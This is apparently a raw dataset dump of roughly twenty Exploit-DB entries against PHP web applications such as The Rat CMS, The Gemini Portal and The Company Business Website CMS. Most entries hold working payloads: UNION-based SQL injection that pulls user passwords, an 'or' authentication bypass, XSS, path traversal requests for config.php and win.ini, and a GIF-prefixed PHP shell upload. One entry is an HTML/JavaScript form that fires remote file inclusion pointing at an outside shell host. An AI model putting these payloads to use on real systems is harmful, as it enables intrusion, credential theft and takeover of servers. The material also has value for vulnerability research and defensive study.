deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1912
Description: The Bible Portal Project 2.12 - 'destination' File Inclusion
Type: webapps
Platform: php
Date: 2006-06-14
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  The Bible Portal Project (destination) <= 2.12 Remote File Include Vulnerability
$$  script site: http://www.bibleportalproject.com/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

#rtf_parser.php:
/*
$read = preg_replace("/~ulnone/", "", $read);
$read = preg_replace("/~line/", "

\n", $read);
$read = trim($read);

fwrite($file, "$read\n");
fclose($file);


include"WeBelieveAEForm.inc";

echo"$add_form";
include"$destination.txt";
echo"
$add_form1
$html_guide
";
unlink("$destination.txt");
*/
#Expl:


http://www.site.com/[tbpp_path]/Admin/rtf_parser.php?destination=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-14]
Exploit-DB #10052
Description: The BMW - 'inventory.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-10-08
Author: Dazz

Exploit:
By: Dazz 
Email: Dazz.band (at) hotmail (dot) com [email concealed] 

================================================ 

Script :
 
Powered by Search Optics 
Automotive Internet Marketing 

example:

http://www.example.com/inventory.php?t=N&viewID=3665819[SQL]

================================================ 

WebSite :
http://wwe.hostwq.net
Exploit-DB #42619
Description: The Car Project 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-05
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: The Car Project 1.0 - SQL Injection
# Dork: N/A
# Date: 05.09.2017
# Vendor Homepage: http://thecarproject.org/
# Software Link: http://thecarproject.org/thecarproject.zip
# Demo: http://www.thecarproject.org/cp
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Vulnerable Source:
#
# <?php
# .............
# if(isset($_GET['car_id'])) {
# $motor_id = $_GET['car_id'];
# if (!empty($_GET['man_id'])){
# $manufacturer_id = $_GET['man_id'];
# }
# .............
# ?>
#
# Proof of Concept:
# 
# http://localhost/[PATH]/info.php?car_id=[SQL]
# 
# -5+/*!11122uNiOn*/(/*!11122sELect*/0x283129,0x283229,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229,0x28343329,(44),0x28343529,0x28343629,0x28343729,0x28343829,0x28343929)
# 
# Etc..
# # # # #
Exploit-DB #46586
Description: The Company Business Website CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2019-03-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: The Company Business Website CMS - 'user_name' SQL
Injection
# Date: 20.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.codester.com/items/6806/the-company-business-website-cms
# Demo Site: http://thecompany.morkocbilisim.com
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/admin/production/login.php
Vulnerable Parameter: user_name (POST)
Payload: user_name=VNfn' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(CONCAT('qqkxq','mOiFXJaJzzATyiPlJyQgwuuTiDddtckLMPRRRdEH'),'qjbbq'),NULL,NULL,NULL,NULL--
WMfV&user_[CREDENTIAL_REDACTED]=Psop


# Exploit Title: The Company Business Website CMS - Authentication Bypass
# Date: 20.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.codester.com/items/6806/the-company-business-website-cms
# Demo Site: http://thecompany.morkocbilisim.com
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC: Authentication Bypass -----
Administration Panel: http://localhost/[PATH]/admin/production/login.php
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #5037
Description: The Everything Development System Pre-1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-02
Author: sub

Exploit:
Application:    The Everything Development System
Version(s):     <= Pre-1.0 (current version at time of release)
Author:         sub < sub@room641a.net >
Released:       2/1/2008

There exists a vulnerability in The Everything Development Engine that
allows a user to inject their own SQL to modify a SELECT query, leading
to information disclosure, XSS, or privilege escalation. What's more,
passwords are stored in the database as plaintext, making user accounts
very easily compromised.

In some versions of the software I have encountered, the following proof
of concept will display a corresponding username and password in the
"core" field and "reputation" field on the page,  respectively.

Proof of Concept:
http://path.to/cms/index.pl?node_id=0/**/UNION/**/SELECT/**/null,101,null,1,null,null,passwd,null,null,nick,null/**/FROM/**/user/**/WHERE/**/nick/**/!%3d/**/''/**/%23

In other, probably more recent versions, a 13-column query is required
or the UNION. What does not change, is that of all of the various
versions I've encountered, all are vulnerable to SQL injection.

The ideal fix would be to ensure that the 'node_id' request variable is
the appropriate data-type (signed int) before passing it as part of a
SQL query.

Vendor Status:
A private ticket was created on the vendors Bug Tracker page prior to
this release. However, I have decided to release this vulnerability
without a reply from the vendor as the Bug Tracker, and development
project, seemed to be 'abandonded.'

# milw0rm.com [2008-02-02]
Exploit-DB #6587
Description: The Gemini Portal 4.7 - 'lang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-26
Author: ZoRLu

Exploit:
[~] The Gemini Portal Multiple Remote File inj.
[~]
[~] version: 4.7
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 26.09.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

file 1: gemini/page/forums/bottom.php

c0de:

include($lang);  (line16)

Exploit 1:

http://localhost/script_path/gemini/page/forums/bottom.php?lang=ZoRLu.txt?

file 2: gemini/page/forums/category.php

c0de:

include($lang);  (line 17)

Exploit 2:

http://localhost/script_path/gemini/page/forums/category.php?lang=ZoRLu.txt?

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-26]
Exploit-DB #6584
Description: The Gemini Portal 4.7 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-26
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program: The Gemini Portal
Version: <= 4.7
File affected: admin/*
Download: http://www.arzdev.com/downloads/1/Gemini


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


>> Program description (by the author website) <<

The Gemini Portal 4 is the most scalable, dynamic, and powerful content 
management system there is. It is perfect for large business network services, 
to the simple personal web site for use with PHP and MySQL.', 'The Gemini 
Portal is a dynamic content management system. It is ideal for any size 
community, allowing users, moderators, limited admins, and global admins log 
in. Many of the built in pages use the dynamic database file system (ArzFS) 
to manipulate files and folders.


>> Bug <<

You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.


>> Exploit <<

Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.

First step: javascript:document.cookie = "user=admin"

Second step: navigate by the admin panel adding the parameter '&name=users' in 
the navigation bar. Examples: 
    
	to view the main admin panel:
	http://site/admin.php?page=main&name=users

	to list all forums:
	http://site/admin.php?page=forums&name=users

	to post a new forum:
	http://site/admin.php?page=forums&name=users&page=forums&op=newf&fview=Everyone&fpost=Everyone&forumname=WHAT_YOU_WANT&descrip=WHAT_YOU_WANT

	to list articles:
	http://site/admin.php?page=articles&name=users

	to create a new article:
	http://site/admin.php?page=articles&name=users&op=newd&dtitle=WHAT_YOU_WANT&ppcontent=WHAT_YOU_WANT&dfolder=0&category=1&autor=admin

	to list all users:
	http://site/admin.php?page=users&name=users

	to edit the admin profile (you can change the admin password)
	http://site/admin.php?page=users&op=edi&uid=2&name=users

# milw0rm.com [2008-09-26]
Exploit-DB #12620
Description: The iceberg - 'Content Management System' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-16
Author: cyberlog

Exploit:
==========================================================
The iceberg 'Content Management System' SQL Injection Vulnerability
==========================================================

# The iceberg 'Content Management System' SQL Injection Vulnerability
# Homepage    : http://www.imagetraders.com.au
# Discovered  : by cyberlog
# Dork        : details.php?p_id=
# Dork        : 'Design & SEO by Image Traders Pty Ltd'
# Exploit     : http://[target]/details.php?p_id=[SQL Injection]
# Thanks      : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,                 jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL                        SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathewsa.k.a Nyubicrew
# My Site     : http://sekuritionline.net
# Channel     : #sekuritionline
#special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
Inj3ct0r Now Brothers with Sekuritionline
==============================================
We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
KacrUt I L0v3 U :P
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity
Exploit-DB #25314
Description: The Includer 1.0/1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-29
Author: hoang yen

Exploit:
source: https://www.securityfocus.com/bid/12926/info

The Includer is reported prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote script through an affected parameter.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

All versions of The Includer are considered to be vulnerable at the moment. This BID will be updated when more information becomes available. 

http://www.example.com/index.php?page=http://www.example.com/exploit
Exploit-DB #3818
Description: The Merchant 2.2.0 - 'index.php?show' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-29
Author: kezzap66345

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>2005-2006 The Merchant Project   Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: 2005-2006 The Merchant Project
//'[Coded by   : kezzap66345
//'[Author     : kezzap66345
//'[Contact    : kezzap66345@hotmail.com
//'[S.Page     : http://www.the-merchant.co.uk/
//'[$$         : Free
//'[Dork       : http://www.google.com.tr/search?q=%22The+Merchant+Project%22&hl=tr&start=30&sa=N
//'[Download   : http://sourceforge.net/project/downloading.php?group_id=37721&use_mirror=belnet&filename=themerchant-2.2.tar.bz2&58090119
//'===============================================================================================




   //Basic exploit,but any time : (
 var path="/help"
 var adres="/index.php?" //File name
 var acik ="show=" // Line x
 var shell="http://kezzap66345.by.ru/casus.php?" // Shell Script

 function command(){
     if (document.rfi.target1.value==""){
        alert("Failed..");
    return false;
  }



rfi.action= document.rfi.target1.value+path+adres+acik+shell;
rfi.submit(); // Form Submit
 }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">2005-2006 The Merchant
Project
Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
  <b><font face="Arial" size="1" color="#FF0000">Target:</font><font
face="Arial" size="1"
color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00"
size="2" face="Arial">
</font><font color="#FF0000" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
#808000" onmouseover="javascript:this.style.background='#808080';"
onmouseout="javascript:this.style.background='#808000';"></p>
<p><input type="submit" value="Gonder" name="B1"><input type="reset"
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">kezzap66345</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-04-29]
Exploit-DB #34315
Description: The Next Generation of Genealogy Sitebuilding - 'searchform.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/41656/info

The Next Generation of Genealogy Sitebuilding is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The Next Generation of Genealogy Sitebuilding 7.1.2 is vulnerable. 

http://www.example.com/searchform.php?msg="/><script>alert('XSS')</script>
Exploit-DB #45655
Description: The Open ISES Project 3.30A - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-10-22
Author: Ihsan Sencan

Exploit:
# Exploit Title: The Open ISES Project 3.30A - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-18
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://openises.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openises/files/latest/download
# Version: 3.30A_050318
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/download.php?filename=[FILE]&origname=&type=

GET /[PATH]/ajax/download.php?filename=../config.php&origname=&type= HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pfdl1njr8uei6v7n3euoejuta7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 17:20:09 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Disposition: attachment; filename="";
Content-Transfer-Encoding: binary
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: {$filetype}

GET /[PATH]/ajax/download.php?filename=../../../../../Windows/win.ini&origname=&type= HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pfdl1njr8uei6v7n3euoejuta7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 17:23:53 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Disposition: attachment; filename="";
Content-Transfer-Encoding: binary
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: {$filetype}
Exploit-DB #35837
Description: The Pacer Edition CMS 2.1 - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-07
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/48215/info


The Pacer Edition CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The Pacer Edition CMS RC 2.1 is vulnerable; prior versions may also be affected. 

<html>
<title>Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
<form action="http://www.example.com/admin/login/forgot/index.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="url" value="1" />
<input type="hidden" name="email" value=&#039;%F6"+onmouseover=prompt(31337)&#039; />
<input type="hidden" name="button" value="Send%20Details" />
</form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3><br /><br />Exploit!<h3></center></font></b></a>
</body>
</html>
Exploit-DB #31975
Description: The Rat CMS - 'viewarticle.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29959/info

The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle.php/<XSS>
http://www.example.com/[trcms_path]/viewarticle.php?id=<XSS>
Exploit-DB #31977
Description: The Rat CMS - 'viewarticle.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29959/info
  
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--
Exploit-DB #31976
Description: The Rat CMS - 'viewarticle2.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29959/info
 
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle2.php?id=<XSS>
Exploit-DB #31978
Description: The Rat CMS - 'viewarticle2.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29959/info
   
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--
Exploit-DB #7455
Description: The Rat CMS Alpha 2 - 'download.php' Priviledge Escalation
Type: webapps
Platform: php
Date: 2008-12-14
Author: x0r

Exploit:
----------------------------
The Rat Cms Alpha 2 > Priviledge Escalation
----------------------------
Autore: x0r
Email: andry2000@hotmail.it
Download:
http://downloads.sourceforge.net/the-rat-cms/trcms_pre_alpha_2.zip?modtime=[PII_REDACTED]&big_mirror=0
----------------------------
Bug In: /admin/*.php

So Funny ^^ 

Exploit:

http://[victim]/admin/download.php [ just a example ^^ ]

# milw0rm.com [2008-12-14]
Exploit-DB #9599
Description: The Rat CMS Alpha 2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-09-09
Author: Securitylab.ir

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: The Rat Cms
# Version: Alpha 2
# DL: http://downloads.sourceforge.net/the-rat-cms/trcms_pre_alpha_2.zip?modtime=[PII_REDACTED]&big_mirror=0
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High
#===========================================================
# http://site.com/[path]/admin/add_album.php
#
# choose shell
#
# shell.php include :
# GIF89a;
# <? your shell code ?>
#
# Your shell Upload Here :
# http://site.com/[Path]/images
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-09-09]